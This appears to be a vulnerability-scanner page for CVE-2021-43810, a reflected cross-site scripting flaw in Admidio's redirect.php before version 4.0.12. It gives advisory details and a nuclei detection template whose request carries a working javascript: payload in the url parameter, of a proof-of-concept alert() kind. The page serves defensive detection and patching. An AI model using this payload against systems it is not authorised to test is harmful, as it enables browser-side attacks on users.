Admidio - Cross-Site Scripting

mediumseverity

6.1CVSS score

5.1%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting vulnerability is present in Admidio prior to version 4.0.12. The reflected cross-site scripting vulnerability occurs because redirect.php does not properly validate the value of the url parameter. Through this vulnerability, an attacker is capable to execute malicious scripts.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to version 4.0.12 or later.

How to confirm it

Send: GET {{BaseURL}}/adm_program/system/redirect.php?url=javascript://%250aalert(document.domain)
Positive when: contains "please click <a href=\"javascript://%0aalert(document.domain…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-43810 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-43810

info:
  name: Admidio - Cross-Site Scripting
  author: gy741
  severity: medium
  description: A cross-site scripting vulnerability is present in Admidio prior to version 4.0.12. The reflected cross-site scripting vulnerability occurs because redirect.php does not properly validate the value of the url parameter. Through this vulnerability, an attacker is capable to execute malicious scripts.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Upgrade to version 4.0.12 or later.
  reference:
    - https://github.com/Admidio/admidio/security/advisories/GHSA-3qgf-qgc3-42hh
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43810
    - https://github.com/Admidio/admidio/commit/fcb0609abc1d2f65bc1377866bd678e5d891404b
    - https://github.com/Admidio/admidio/commit/c043267d362f7813543cc2785119bf3e3e54fe21
    - https://github.com/Admidio/admidio/releases/tag/v4.0.12
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-43810
    cwe-id: CWE-79
    epss-score: 0.05053
    epss-percentile: 0.92372
    cpe: cpe:2.3:a:admidio:admidio:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: admidio
    product: admidio
  tags: cve2021,cve,admidio,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/adm_program/system/redirect.php?url=javascript://%250aalert(document.domain)'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'please click <a href="javascript://%0aalert(document.domain)" target="_self">'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from